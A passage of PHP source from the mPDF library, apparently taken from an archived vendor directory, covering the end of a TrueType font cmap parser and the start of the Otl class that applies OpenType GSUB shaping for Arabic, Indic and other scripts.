0x2E80 && $endCharCode < 0x4DC0) || ($endCharCode > 0x4E00 && $endCharCode < 0xA4CF) || ($endCharCode > 0xAC00 && $endCharCode < 0xD7AF) || ($endCharCode > 0xF900 && $endCharCode < 0xFAFF) || ($endCharCode > 0xFE30 && $endCharCode < 0xFE4F)) { $cjk = true; } $offset = 0; // Get each glyphToChar - only point if going to analyse un-mapped Arabic Glyphs if (isset($this->tables['post'])) { for ($unichar = $startCharCode; $unichar <= $endCharCode; $unichar++) { $glyph = $startGlyphCode + $offset; $offset++; $glyphToChar[$glyph][] = $unichar; } } } } else { // Format 4 CMap $this->seek($unicode_cmap_offset + 2); $length = $this->read_ushort(); $limit = $unicode_cmap_offset + $length; $this->skip(2); $segCount = $this->read_ushort() / 2; $this->skip(6); $endCount = []; for ($i = 0; $i < $segCount; $i++) { $endCount[] = $this->read_ushort(); } $this->skip(2); $startCount = []; for ($i = 0; $i < $segCount; $i++) { $startCount[] = $this->read_ushort(); } $idDelta = []; for ($i = 0; $i < $segCount; $i++) { $idDelta[] = $this->read_short(); } $idRangeOffset_start = $this->_pos; $idRangeOffset = []; for ($i = 0; $i < $segCount; $i++) { $idRangeOffset[] = $this->read_ushort(); } for ($n = 0; $n < $segCount; $n++) { if (($endCount[$n] > 0x0590 && $endCount[$n] < 0x077F) || ($endCount[$n] > 0xFE70 && $endCount[$n] < 0xFEFF) || ($endCount[$n] > 0xFB50 && $endCount[$n] < 0xFDFF)) { $rtl = true; } if ($endCount[$n] > 0x0900 && $endCount[$n] < 0x0DFF) { $indic = true; } if (($endCount[$n] > 0x2E80 && $endCount[$n] < 0x4DC0) || ($endCount[$n] > 0x4E00 && $endCount[$n] < 0xA4CF) || ($endCount[$n] > 0xAC00 && $endCount[$n] < 0xD7AF) || ($endCount[$n] > 0xF900 && $endCount[$n] < 0xFAFF) || ($endCount[$n] > 0xFE30 && $endCount[$n] < 0xFE4F)) { $cjk = true; } if ($endCount[$n] > 0xE000 && $endCount[$n] < 0xF8FF) { $pua = true; if ($endCount[$n] > 0xF500 && $endCount[$n] < 0xF7FF) { $puaag = true; } } // Get each glyphToChar - only point if going to analyse un-mapped Arabic Glyphs if (isset($this->tables['post'])) { $endpoint = ($endCount[$n] + 1); for ($unichar = $startCount[$n]; $unichar < $endpoint; $unichar++) { if ($idRangeOffset[$n] == 0) { $glyph = ($unichar + $idDelta[$n]) & 0xFFFF; } else { $offset = ($unichar - $startCount[$n]) * 2 + $idRangeOffset[$n]; $offset = $idRangeOffset_start + 2 * $n + $offset; if ($offset >= $limit) { $glyph = 0; } else { $glyph = $this->get_ushort($offset); if ($glyph != 0) { $glyph = ($glyph + $idDelta[$n]) & 0xFFFF; } } } $glyphToChar[$glyph][] = $unichar; } } } } $bold = false; $italic = false; $ftype = ''; if ($macStyle & (1 << 0)) { $bold = true; } // bit 0 bold elseif ($fsSelection & (1 << 5)) { $bold = true; } // 5 BOLD Characters are emboldened if ($macStyle & (1 << 1)) { $italic = true; } // bit 1 italic elseif ($fsSelection & (1 << 0)) { $italic = true; } // 0 ITALIC Font contains Italic characters, otherwise they are upright elseif ($this->italicAngle <> 0) { $italic = true; } if ($isFixedPitch) { $ftype = 'mono'; } elseif ($sFamily > 0 && $sFamily < 8) { $ftype = 'serif'; } elseif ($sFamily == 8) { $ftype = 'sans'; } elseif ($sFamily == 10) { $ftype = 'cursive'; } // Use PANOSE if ($panose) { $bFamilyType = ord($panose[0]); if ($bFamilyType == 2) { $bSerifStyle = ord($panose[1]); if (!$ftype) { if ($bSerifStyle > 1 && $bSerifStyle < 11) { $ftype = 'serif'; } elseif ($bSerifStyle > 10) { $ftype = 'sans'; } } $bProportion = ord($panose[3]); if ($bProportion == 9 || $bProportion == 1) { $ftype = 'mono'; } // ==1 i.e. No Fit needed for OCR-a and -b } elseif ($bFamilyType == 3) { $ftype = 'cursive'; } } fclose($this->fh); return [$this->familyName, $bold, $italic, $ftype, $TTCfontID, $rtl, $indic, $cjk, $sip, $smp, $puaag, $pua, $unAGlyphs]; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/Otl.php������������������������������������������������������������������������0000644�����������������00000760543�14760002214�0011766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Strict; use Mpdf\Css\TextVars; use Mpdf\Fonts\FontCache; use Mpdf\Shaper\Indic; use Mpdf\Shaper\Myanmar; use Mpdf\Shaper\Sea; use Mpdf\Utils\UtfString; class Otl { use Strict; const _OTL_OLD_SPEC_COMPAT_1 = true; const _DICT_NODE_TYPE_SPLIT = 0x01; const _DICT_NODE_TYPE_LINEAR = 0x02; const _DICT_INTERMEDIATE_MATCH = 0x03; const _DICT_FINAL_MATCH = 0x04; private $mpdf; private $fontCache; var $arabLeftJoining; var $arabRightJoining; var $arabTransparentJoin; var $arabTransparent; var $GSUBdata; var $GPOSdata; var $GSUBfont; var $fontkey; var $ttfOTLdata; var $glyphIDtoUni; var $_pos; var $GSUB_offset; var $GPOS_offset; var $MarkAttachmentType; var $MarkGlyphSets; var $GlyphClassMarks; var $GlyphClassLigatures; var $GlyphClassBases; var $GlyphClassComponents; var $Ignores; var $LuCoverage; var $OTLdata; var $assocLigs; var $assocMarks; var $shaper; var $restrictToSyllable; var $lbdicts; // Line-breaking dictionaries var $LuDataCache; var $arabGlyphs; var $current_fh; var $Entry; var $Exit; var $GDEFdata; var $GPOSLookups; var $GSLuCoverage; var $GSUB_length; var $GSUBLookups; var $schOTLdata; var $lastBidiStrongType; var $debugOTL = false; public function __construct(Mpdf $mpdf, FontCache $fontCache) { $this->mpdf = $mpdf; $this->fontCache = $fontCache; $this->current_fh = ''; $this->lbdicts = []; $this->LuDataCache = []; } function applyOTL($str, $useOTL) { if (!$this->arabLeftJoining) { $this->arabic_initialise(); } $this->OTLdata = []; if (trim($str) == '') { return $str; } if (!$useOTL) { return $str; } // 1. Load GDEF data //============================== $this->fontkey = $this->mpdf->CurrentFont['fontkey']; $this->glyphIDtoUni = $this->mpdf->CurrentFont['glyphIDtoUni']; $fontCacheFilename = $this->fontkey . '.GDEFdata.json'; if (!isset($this->GDEFdata[$this->fontkey]) && $this->fontCache->jsonHas($fontCacheFilename)) { $font = $this->fontCache->jsonLoad($fontCacheFilename); $this->GSUB_offset = $this->GDEFdata[$this->fontkey]['GSUB_offset'] = $font['GSUB_offset']; $this->GPOS_offset = $this->GDEFdata[$this->fontkey]['GPOS_offset'] = $font['GPOS_offset']; $this->GSUB_length = $this->GDEFdata[$this->fontkey]['GSUB_length'] = $font['GSUB_length']; $this->MarkAttachmentType = $this->GDEFdata[$this->fontkey]['MarkAttachmentType'] = $font['MarkAttachmentType']; $this->MarkGlyphSets = $this->GDEFdata[$this->fontkey]['MarkGlyphSets'] = $font['MarkGlyphSets']; $this->GlyphClassMarks = $this->GDEFdata[$this->fontkey]['GlyphClassMarks'] = $font['GlyphClassMarks']; $this->GlyphClassLigatures = $this->GDEFdata[$this->fontkey]['GlyphClassLigatures'] = $font['GlyphClassLigatures']; $this->GlyphClassComponents = $this->GDEFdata[$this->fontkey]['GlyphClassComponents'] = $font['GlyphClassComponents']; $this->GlyphClassBases = $this->GDEFdata[$this->fontkey]['GlyphClassBases'] = $font['GlyphClassBases']; } else { $this->GSUB_offset = $this->GDEFdata[$this->fontkey]['GSUB_offset']; $this->GPOS_offset = $this->GDEFdata[$this->fontkey]['GPOS_offset']; $this->GSUB_length = $this->GDEFdata[$this->fontkey]['GSUB_length']; $this->MarkAttachmentType = $this->GDEFdata[$this->fontkey]['MarkAttachmentType']; $this->MarkGlyphSets = $this->GDEFdata[$this->fontkey]['MarkGlyphSets']; $this->GlyphClassMarks = $this->GDEFdata[$this->fontkey]['GlyphClassMarks']; $this->GlyphClassLigatures = $this->GDEFdata[$this->fontkey]['GlyphClassLigatures']; $this->GlyphClassComponents = $this->GDEFdata[$this->fontkey]['GlyphClassComponents']; $this->GlyphClassBases = $this->GDEFdata[$this->fontkey]['GlyphClassBases']; } // 2. Prepare string as HEX string and Analyse character properties //================================================================= $earr = $this->mpdf->UTF8StringToArray($str, false); $scriptblock = 0; $scriptblocks = []; $scriptblocks[0] = 0; $vstr = ''; $OTLdata = []; $subchunk = 0; $charctr = 0; foreach ($earr as $char) { $ucd_record = Ucdn::get_ucd_record($char); $sbl = $ucd_record[6]; // Special case - Arabic End of Ayah if ($char == 1757) { $sbl = Ucdn::SCRIPT_ARABIC; } if ($sbl && $sbl != 40 && $sbl != 102) { if ($scriptblock == 0) { $scriptblock = $sbl; $scriptblocks[$subchunk] = $scriptblock; } elseif ($scriptblock > 0 && $scriptblock != $sbl) { // ************************************************* // NEW (non-common) Script encountered in this chunk. Start a new subchunk $subchunk++; $scriptblock = $sbl; $charctr = 0; $scriptblocks[$subchunk] = $scriptblock; } } $OTLdata[$subchunk][$charctr]['general_category'] = $ucd_record[0]; $OTLdata[$subchunk][$charctr]['bidi_type'] = $ucd_record[2]; //$OTLdata[$subchunk][$charctr]['combining_class'] = $ucd_record[1]; //$OTLdata[$subchunk][$charctr]['bidi_type'] = $ucd_record[2]; //$OTLdata[$subchunk][$charctr]['mirrored'] = $ucd_record[3]; //$OTLdata[$subchunk][$charctr]['east_asian_width'] = $ucd_record[4]; //$OTLdata[$subchunk][$charctr]['normalization_check'] = $ucd_record[5]; //$OTLdata[$subchunk][$charctr]['script'] = $ucd_record[6]; $charasstr = $this->unicode_hex($char); if (strpos($this->GlyphClassMarks, $charasstr) !== false) { $OTLdata[$subchunk][$charctr]['group'] = 'M'; } elseif ($char == 32 || $char == 12288) { $OTLdata[$subchunk][$charctr]['group'] = 'S'; } // 12288 = 0x3000 = CJK space else { $OTLdata[$subchunk][$charctr]['group'] = 'C'; } $OTLdata[$subchunk][$charctr]['uni'] = $char; $OTLdata[$subchunk][$charctr]['hex'] = $charasstr; $charctr++; } /* PROCESS EACH SUBCHUNK WITH DIFFERENT SCRIPTS */ for ($sch = 0; $sch <= $subchunk; $sch++) { $this->OTLdata = $OTLdata[$sch]; $scriptblock = $scriptblocks[$sch]; // 3. Get Appropriate Scripts, and Shaper engine from analysing text and list of available scripts/langsys in font //============================== // Based on actual script block of text, select shaper (and line-breaking dictionaries) if (Ucdn::SCRIPT_DEVANAGARI <= $scriptblock && $scriptblock <= Ucdn::SCRIPT_MALAYALAM) { $this->shaper = "I"; } // INDIC shaper elseif ($scriptblock == Ucdn::SCRIPT_ARABIC || $scriptblock == Ucdn::SCRIPT_SYRIAC) { $this->shaper = "A"; } // ARABIC shaper elseif ($scriptblock == Ucdn::SCRIPT_NKO || $scriptblock == Ucdn::SCRIPT_MANDAIC) { $this->shaper = "A"; } // ARABIC shaper elseif ($scriptblock == Ucdn::SCRIPT_KHMER) { $this->shaper = "K"; } // KHMER shaper elseif ($scriptblock == Ucdn::SCRIPT_THAI) { $this->shaper = "T"; } // THAI shaper elseif ($scriptblock == Ucdn::SCRIPT_LAO) { $this->shaper = "L"; } // LAO shaper elseif ($scriptblock == Ucdn::SCRIPT_SINHALA) { $this->shaper = "S"; } // SINHALA shaper elseif ($scriptblock == Ucdn::SCRIPT_MYANMAR) { $this->shaper = "M"; } // MYANMAR shaper elseif ($scriptblock == Ucdn::SCRIPT_NEW_TAI_LUE) { $this->shaper = "E"; } // SEA South East Asian shaper elseif ($scriptblock == Ucdn::SCRIPT_CHAM) { $this->shaper = "E"; } // SEA South East Asian shaper elseif ($scriptblock == Ucdn::SCRIPT_TAI_THAM) { $this->shaper = "E"; } // SEA South East Asian shaper else { $this->shaper = ""; } // Get scripttag based on actual text script $scripttag = Ucdn::$uni_scriptblock[$scriptblock]; $GSUBscriptTag = ''; $GSUBlangsys = ''; $GPOSscriptTag = ''; $GPOSlangsys = ''; $is_old_spec = false; $ScriptLang = $this->mpdf->CurrentFont['GSUBScriptLang']; if (count($ScriptLang)) { list($GSUBscriptTag, $is_old_spec) = $this->_getOTLscriptTag($ScriptLang, $scripttag, $scriptblock, $this->shaper, $useOTL, 'GSUB'); if ($this->mpdf->fontLanguageOverride && strpos($ScriptLang[$GSUBscriptTag], $this->mpdf->fontLanguageOverride) !== false) { $GSUBlangsys = str_pad($this->mpdf->fontLanguageOverride, 4); } elseif ($GSUBscriptTag && isset($ScriptLang[$GSUBscriptTag]) && $ScriptLang[$GSUBscriptTag] != '') { $GSUBlangsys = $this->_getOTLLangTag($this->mpdf->currentLang, $ScriptLang[$GSUBscriptTag]); } } $ScriptLang = $this->mpdf->CurrentFont['GPOSScriptLang']; // NB If after GSUB, the same script/lang exist for GPOS, just use these... if ($GSUBscriptTag && $GSUBlangsys && isset($ScriptLang[$GSUBscriptTag]) && strpos($ScriptLang[$GSUBscriptTag], $GSUBlangsys) !== false) { $GPOSlangsys = $GSUBlangsys; $GPOSscriptTag = $GSUBscriptTag; } // else repeat for GPOS // [Font XBRiyaz has GSUB tables for latn, but not GPOS for latn] elseif (count($ScriptLang)) { list($GPOSscriptTag, $dummy) = $this->_getOTLscriptTag($ScriptLang, $scripttag, $scriptblock, $this->shaper, $useOTL, 'GPOS'); if ($GPOSscriptTag && $this->mpdf->fontLanguageOverride && strpos($ScriptLang[$GPOSscriptTag], $this->mpdf->fontLanguageOverride) !== false) { $GPOSlangsys = str_pad($this->mpdf->fontLanguageOverride, 4); } elseif ($GPOSscriptTag && isset($ScriptLang[$GPOSscriptTag]) && $ScriptLang[$GPOSscriptTag] != '') { $GPOSlangsys = $this->_getOTLLangTag($this->mpdf->currentLang, $ScriptLang[$GPOSscriptTag]); } } // This is just for the font_dump_OTL utility to set script and langsys override // $mpdf->overrideOTLsettings does not exist, this is never called /*if (isset($this->mpdf->overrideOTLsettings) && isset($this->mpdf->overrideOTLsettings[$this->fontkey])) { $GSUBscriptTag = $GPOSscriptTag = $this->mpdf->overrideOTLsettings[$this->fontkey]['script']; $GSUBlangsys = $GPOSlangsys = $this->mpdf->overrideOTLsettings[$this->fontkey]['lang']; }*/ if (!$GSUBscriptTag && !$GSUBlangsys && !$GPOSscriptTag && !$GPOSlangsys) { // Remove ZWJ and ZWNJ for ($i = 0; $i < count($this->OTLdata); $i++) { if ($this->OTLdata[$i]['uni'] == 8204 || $this->OTLdata[$i]['uni'] == 8205) { array_splice($this->OTLdata, $i, 1); } } $this->schOTLdata[$sch] = $this->OTLdata; $this->OTLdata = []; continue; } // Don't use MYANMAR shaper unless using v2 scripttag if ($this->shaper == 'M' && $GSUBscriptTag != 'mym2') { $this->shaper = ''; } $GSUBFeatures = (isset($this->mpdf->CurrentFont['GSUBFeatures'][$GSUBscriptTag][$GSUBlangsys]) ? $this->mpdf->CurrentFont['GSUBFeatures'][$GSUBscriptTag][$GSUBlangsys] : false); $GPOSFeatures = (isset($this->mpdf->CurrentFont['GPOSFeatures'][$GPOSscriptTag][$GPOSlangsys]) ? $this->mpdf->CurrentFont['GPOSFeatures'][$GPOSscriptTag][$GPOSlangsys] : false); $this->assocLigs = []; // Ligatures[$posarr lpos] => nc $this->assocMarks = []; // assocMarks[$posarr mpos] => array(compID, ligPos) if (!isset($this->GDEFdata[$this->fontkey]['GSUBGPOStables'])) { $this->ttfOTLdata = $this->GDEFdata[$this->fontkey]['GSUBGPOStables'] = $this->fontCache->load($this->fontkey . '.GSUBGPOStables.dat', 'rb'); if (!$this->ttfOTLdata) { throw new \Mpdf\MpdfException('Can\'t open file ' . $this->fontCache->tempFilename($this->fontkey . '.GSUBGPOStables.dat')); } } else { $this->ttfOTLdata = $this->GDEFdata[$this->fontkey]['GSUBGPOStables']; } if ($this->debugOTL) { $this->_dumpproc('BEGIN', '-', '-', '-', '-', -1, '-', 0); } //////////////////////////////////////////////////////////////// ///////// LINE BREAKING FOR KHMER, THAI + LAO ///////////////// //////////////////////////////////////////////////////////////// // Insert U+200B at word boundaries using dictionaries if ($this->mpdf->useDictionaryLBR && ($this->shaper == "K" || $this->shaper == "T" || $this->shaper == "L")) { // Sets $this->OTLdata[$i]['wordend']=true at possible end of word boundaries $this->seaLineBreaking(); } // Insert U+200B at word boundaries for Tibetan elseif ($this->mpdf->useTibetanLBR && $scriptblock == Ucdn::SCRIPT_TIBETAN) { // Sets $this->OTLdata[$i]['wordend']=true at possible end of word boundaries $this->tibetanLineBreaking(); } //////////////////////////////////////////////////////////////// ////////// GSUB ///////////////////////////////// //////////////////////////////////////////////////////////////// if (($useOTL & 0xFF) && $GSUBscriptTag && $GSUBlangsys && $GSUBFeatures) { // 4. Load GSUB data, Coverage & Lookups //================================================================= $this->GSUBfont = $this->fontkey . '.GSUB.' . $GSUBscriptTag . '.' . $GSUBlangsys; if (!isset($this->GSUBdata[$this->GSUBfont])) { $fontCacheFilename = $this->GSUBfont . '.json'; if ($this->fontCache->jsonHas($fontCacheFilename)) { $font = $this->fontCache->jsonLoad($fontCacheFilename); $this->GSUBdata[$this->GSUBfont]['rtlSUB'] = $font['rtlSUB']; $this->GSUBdata[$this->GSUBfont]['finals'] = $font['finals']; if ($this->shaper == 'I') { $this->GSUBdata[$this->GSUBfont]['rphf'] = $font['rphf']; $this->GSUBdata[$this->GSUBfont]['half'] = $font['half']; $this->GSUBdata[$this->GSUBfont]['pref'] = $font['pref']; $this->GSUBdata[$this->GSUBfont]['blwf'] = $font['blwf']; $this->GSUBdata[$this->GSUBfont]['pstf'] = $font['pstf']; } } else { $this->GSUBdata[$this->GSUBfont] = ['rtlSUB' => [], 'rphf' => [], 'rphf' => [], 'pref' => [], 'blwf' => [], 'pstf' => [], 'finals' => '' ]; } } $fontCacheFilename = $this->fontkey . '.GSUBdata.json'; if (!isset($this->GSUBdata[$this->fontkey]) && $this->fontCache->jsonHas($fontCacheFilename)) { $this->GSLuCoverage = $this->GSUBdata[$this->fontkey]['GSLuCoverage'] = $this->fontCache->jsonLoad($fontCacheFilename); } else { $this->GSLuCoverage = $this->GSUBdata[$this->fontkey]['GSLuCoverage']; } $this->GSUBLookups = $this->mpdf->CurrentFont['GSUBLookups']; // 5(A). GSUB - Shaper - ARABIC //============================== if ($this->shaper == 'A') { //----------------------------------------------------------------------------------- // a. Apply initial GSUB Lookups (in order specified in lookup list but only selecting from certain tags) //----------------------------------------------------------------------------------- $tags = 'locl ccmp'; $omittags = ''; $usetags = $tags; if (!empty($this->mpdf->OTLtags)) { $usetags = $this->_applyTagSettings($tags, $GSUBFeatures, $omittags, true); } $this->_applyGSUBrules($usetags, $GSUBscriptTag, $GSUBlangsys); //----------------------------------------------------------------------------------- // b. Apply context-specific forms GSUB Lookups (initial, isolated, medial, final) //----------------------------------------------------------------------------------- // Arab and Syriac are the only scripts requiring the special joining - which takes the place of // isol fina medi init rules in GSUB (+ fin2 fin3 med2 in Syriac syrc) $tags = 'isol fina fin2 fin3 medi med2 init'; $omittags = ''; $usetags = $tags; if (!empty($this->mpdf->OTLtags)) { $usetags = $this->_applyTagSettings($tags, $GSUBFeatures, $omittags, true); } $this->arabGlyphs = $this->GSUBdata[$this->GSUBfont]['rtlSUB']; $gcms = explode("| ", $this->GlyphClassMarks); $gcm = []; foreach ($gcms as $g) { $gcm[hexdec($g)] = 1; } $this->arabTransparentJoin = $this->arabTransparent + $gcm; $this->arabic_shaper($usetags, $GSUBscriptTag); //----------------------------------------------------------------------------------- // c. Set Kashida points (after joining occurred - medi, fina, init) but before other substitutions //----------------------------------------------------------------------------------- //if ($scriptblock == Ucdn::SCRIPT_ARABIC ) { for ($i = 0; $i < count($this->OTLdata); $i++) { // Put the kashida marker on the character BEFORE which is inserted the kashida // Kashida marker is inverse of priority i.e. Priority 1 => 7, Priority 7 => 1. // Priority 1 User-inserted Kashida 0640 = Tatweel // The user entered a Kashida in a position // Position: Before the user-inserted kashida if ($this->OTLdata[$i]['uni'] == 0x0640) { $this->OTLdata[$i]['GPOSinfo']['kashida'] = 8; // Put before the next character } // Priority 2 Seen (0633) FEB3, FEB4; Sad (0635) FEBB, FEBC // Initial or medial form // Connecting to the next character // Position: After the character elseif ($this->OTLdata[$i]['uni'] == 0xFEB3 || $this->OTLdata[$i]['uni'] == 0xFEB4 || $this->OTLdata[$i]['uni'] == 0xFEBB || $this->OTLdata[$i]['uni'] == 0xFEBC) { $checkpos = $i + 1; while (isset($this->OTLdata[$checkpos]) && strpos($this->GlyphClassMarks, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } if (isset($this->OTLdata[$checkpos])) { $this->OTLdata[$checkpos]['GPOSinfo']['kashida'] = 7; // Put after marks on next character } } // Priority 3 Taa Marbutah (0629) FE94; Haa (062D) FEA2; Dal (062F) FEAA // Final form // Connecting to previous character // Position: Before the character elseif ($this->OTLdata[$i]['uni'] == 0xFE94 || $this->OTLdata[$i]['uni'] == 0xFEA2 || $this->OTLdata[$i]['uni'] == 0xFEAA) { $this->OTLdata[$i]['GPOSinfo']['kashida'] = 6; } // Priority 4 Alef (0627) FE8E; Tah (0637) FEC2; Lam (0644) FEDE; Kaf (0643) FEDA; Gaf (06AF) FB93 // Final form // Connecting to previous character // Position: Before the character elseif ($this->OTLdata[$i]['uni'] == 0xFE8E || $this->OTLdata[$i]['uni'] == 0xFEC2 || $this->OTLdata[$i]['uni'] == 0xFEDE || $this->OTLdata[$i]['uni'] == 0xFEDA || $this->OTLdata[$i]['uni'] == 0xFB93) { $this->OTLdata[$i]['GPOSinfo']['kashida'] = 5; } // Priority 5 RA (0631) FEAE; Ya (064A) FEF2 FEF4; Alef Maqsurah (0649) FEF0 FBE9 // Final or Medial form // Connected to preceding medial BAA (0628) = FE92 // Position: Before preceding medial Baa // Although not mentioned in spec, added Farsi Yeh (06CC) FBFD FBFF; equivalent to 064A or 0649 elseif ($this->OTLdata[$i]['uni'] == 0xFEAE || $this->OTLdata[$i]['uni'] == 0xFEF2 || $this->OTLdata[$i]['uni'] == 0xFEF0 || $this->OTLdata[$i]['uni'] == 0xFEF4 || $this->OTLdata[$i]['uni'] == 0xFBE9 || $this->OTLdata[$i]['uni'] == 0xFBFD || $this->OTLdata[$i]['uni'] == 0xFBFF ) { $checkpos = $i - 1; while (isset($this->OTLdata[$checkpos]) && strpos($this->GlyphClassMarks, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos--; } if (isset($this->OTLdata[$checkpos]) && $this->OTLdata[$checkpos]['uni'] == 0xFE92) { $this->OTLdata[$checkpos]['GPOSinfo']['kashida'] = 4; // ******* Before preceding BAA } } // Priority 6 WAW (0648) FEEE; Ain (0639) FECA; Qaf (0642) FED6; Fa (0641) FED2 // Final form // Connecting to previous character // Position: Before the character elseif ($this->OTLdata[$i]['uni'] == 0xFEEE || $this->OTLdata[$i]['uni'] == 0xFECA || $this->OTLdata[$i]['uni'] == 0xFED6 || $this->OTLdata[$i]['uni'] == 0xFED2) { $this->OTLdata[$i]['GPOSinfo']['kashida'] = 3; } // Priority 7 Other connecting characters // Final form // Connecting to previous character // Position: Before the character /* This isn't in the spec, but using MS WORD as a basis, give a lower priority to the 3 characters already checked in (5) above. Test case: خْرَىٰ فَتُذَكِّر */ if (!isset($this->OTLdata[$i]['GPOSinfo']['kashida'])) { if (strpos($this->GSUBdata[$this->GSUBfont]['finals'], $this->OTLdata[$i]['hex']) !== false) { // ANY OTHER FINAL FORM $this->OTLdata[$i]['GPOSinfo']['kashida'] = 2; } elseif (strpos('0FEAE 0FEF0 0FEF2', $this->OTLdata[$i]['hex']) !== false) { // not already included in 5 above $this->OTLdata[$i]['GPOSinfo']['kashida'] = 1; } } } //----------------------------------------------------------------------------------- // d. Apply Presentation Forms GSUB Lookups (+ any discretionary) - Apply one at a time in Feature order //----------------------------------------------------------------------------------- $tags = 'rlig calt liga clig mset'; $omittags = 'locl ccmp nukt akhn rphf rkrf pref blwf abvf half pstf cfar vatu cjct init medi fina isol med2 fin2 fin3 ljmo vjmo tjmo'; $usetags = $tags; if (!empty($this->mpdf->OTLtags)) { $usetags = $this->_applyTagSettings($tags, $GSUBFeatures, $omittags, false); } $ts = explode(' ', $usetags); foreach ($ts as $ut) { // - Apply one at a time in Feature order $this->_applyGSUBrules($ut, $GSUBscriptTag, $GSUBlangsys); } //----------------------------------------------------------------------------------- // e. NOT IN SPEC // If space precedes a mark -> substitute a   before the Mark, to prevent line breaking Test: //----------------------------------------------------------------------------------- for ($ptr = 1; $ptr < count($this->OTLdata); $ptr++) { if ($this->OTLdata[$ptr]['general_category'] == Ucdn::UNICODE_GENERAL_CATEGORY_NON_SPACING_MARK && $this->OTLdata[$ptr - 1]['uni'] == 32) { $this->OTLdata[$ptr - 1]['uni'] = 0xa0; $this->OTLdata[$ptr - 1]['hex'] = '000A0'; } } } // 5(I). GSUB - Shaper - INDIC and SINHALA and KHMER //=================================== elseif ($this->shaper == 'I' || $this->shaper == 'K' || $this->shaper == 'S') { $this->restrictToSyllable = true; //----------------------------------------------------------------------------------- // a. First decompose/compose split mattras // (normalize) ??????? Nukta/Halant order etc ?????????????????????????????????????????????????????????????????????????? //----------------------------------------------------------------------------------- for ($ptr = 0; $ptr < count($this->OTLdata); $ptr++) { $char = $this->OTLdata[$ptr]['uni']; $sub = Indic::decompose_indic($char); if ($sub) { $newinfo = []; for ($i = 0; $i < count($sub); $i++) { $newinfo[$i] = []; $ucd_record = Ucdn::get_ucd_record($sub[$i]); $newinfo[$i]['general_category'] = $ucd_record[0]; $newinfo[$i]['bidi_type'] = $ucd_record[2]; $charasstr = $this->unicode_hex($sub[$i]); if (strpos($this->GlyphClassMarks, $charasstr) !== false) { $newinfo[$i]['group'] = 'M'; } else { $newinfo[$i]['group'] = 'C'; } $newinfo[$i]['uni'] = $sub[$i]; $newinfo[$i]['hex'] = $charasstr; } array_splice($this->OTLdata, $ptr, 1, $newinfo); $ptr += count($sub) - 1; } /* Only Composition-exclusion exceptions that we want to recompose. */ if ($this->shaper == 'I') { if ($char == 0x09AF && isset($this->OTLdata[$ptr + 1]) && $this->OTLdata[$ptr + 1]['uni'] == 0x09BC) { $sub = 0x09DF; $newinfo = []; $newinfo[0] = []; $ucd_record = Ucdn::get_ucd_record($sub); $newinfo[0]['general_category'] = $ucd_record[0]; $newinfo[0]['bidi_type'] = $ucd_record[2]; $newinfo[0]['group'] = 'C'; $newinfo[0]['uni'] = $sub; $newinfo[0]['hex'] = $this->unicode_hex($sub); array_splice($this->OTLdata, $ptr, 2, $newinfo); } } } //----------------------------------------------------------------------------------- // b. Analyse characters - group as syllables/clusters (Indic); invalid diacritics; add dotted circle //----------------------------------------------------------------------------------- $indic_category_string = ''; foreach ($this->OTLdata as $eid => $c) { Indic::set_indic_properties($this->OTLdata[$eid], $scriptblock); // sets ['indic_category'] and ['indic_position'] //$c['general_category'] //$c['combining_class'] //$c['uni'] = $char; $indic_category_string .= Indic::$indic_category_char[$this->OTLdata[$eid]['indic_category']]; } $broken_syllables = false; if ($this->shaper == 'I') { Indic::set_syllables($this->OTLdata, $indic_category_string, $broken_syllables); } elseif ($this->shaper == 'S') { Indic::set_syllables_sinhala($this->OTLdata, $indic_category_string, $broken_syllables); } elseif ($this->shaper == 'K') { Indic::set_syllables_khmer($this->OTLdata, $indic_category_string, $broken_syllables); } $indic_category_string = ''; //----------------------------------------------------------------------------------- // c. Initial Re-ordering (Indic / Khmer / Sinhala) //----------------------------------------------------------------------------------- // Find base consonant // Decompose/compose and reorder Matras // Reorder marks to canonical order $indic_config = Indic::$indic_configs[$scriptblock]; $dottedcircle = false; if ($broken_syllables) { if ($this->mpdf->_charDefined($this->mpdf->fonts[$this->fontkey]['cw'], 0x25CC)) { $dottedcircle = []; $ucd_record = Ucdn::get_ucd_record(0x25CC); $dottedcircle[0]['general_category'] = $ucd_record[0]; $dottedcircle[0]['bidi_type'] = $ucd_record[2]; $dottedcircle[0]['group'] = 'C'; $dottedcircle[0]['uni'] = 0x25CC; $dottedcircle[0]['indic_category'] = Indic::OT_DOTTEDCIRCLE; $dottedcircle[0]['indic_position'] = Indic::POS_BASE_C; $dottedcircle[0]['hex'] = '025CC'; // TEMPORARY ***** } } Indic::initial_reordering($this->OTLdata, $this->GSUBdata[$this->GSUBfont], $broken_syllables, $indic_config, $scriptblock, $is_old_spec, $dottedcircle); //----------------------------------------------------------------------------------- // d. Apply initial and basic shaping forms GSUB Lookups (one at a time) //----------------------------------------------------------------------------------- if ($this->shaper == 'I' || $this->shaper == 'S') { $tags = 'locl ccmp nukt akhn rphf rkrf pref blwf half pstf vatu cjct'; } elseif ($this->shaper == 'K') { $tags = 'locl ccmp pref blwf abvf pstf cfar'; } $this->_applyGSUBrulesIndic($tags, $GSUBscriptTag, $GSUBlangsys, $is_old_spec); //----------------------------------------------------------------------------------- // e. Final Re-ordering (Indic / Khmer / Sinhala) //----------------------------------------------------------------------------------- // Reorder matras // Reorder reph // Reorder pre-base reordering consonants: Indic::final_reordering($this->OTLdata, $this->GSUBdata[$this->GSUBfont], $indic_config, $scriptblock, $is_old_spec); //----------------------------------------------------------------------------------- // f. Apply 'init' feature to first syllable in word (indicated by ['mask']) Indic::FLAG(Indic::INIT); //----------------------------------------------------------------------------------- if ($this->shaper == 'I' || $this->shaper == 'S') { $tags = 'init'; $this->_applyGSUBrulesIndic($tags, $GSUBscriptTag, $GSUBlangsys, $is_old_spec); } //----------------------------------------------------------------------------------- // g. Apply Presentation Forms GSUB Lookups (+ any discretionary) //----------------------------------------------------------------------------------- $tags = 'pres abvs blws psts haln rlig calt liga clig mset'; $omittags = 'locl ccmp nukt akhn rphf rkrf pref blwf abvf half pstf cfar vatu cjct init medi fina isol med2 fin2 fin3 ljmo vjmo tjmo'; $usetags = $tags; if (!empty($this->mpdf->OTLtags)) { $usetags = 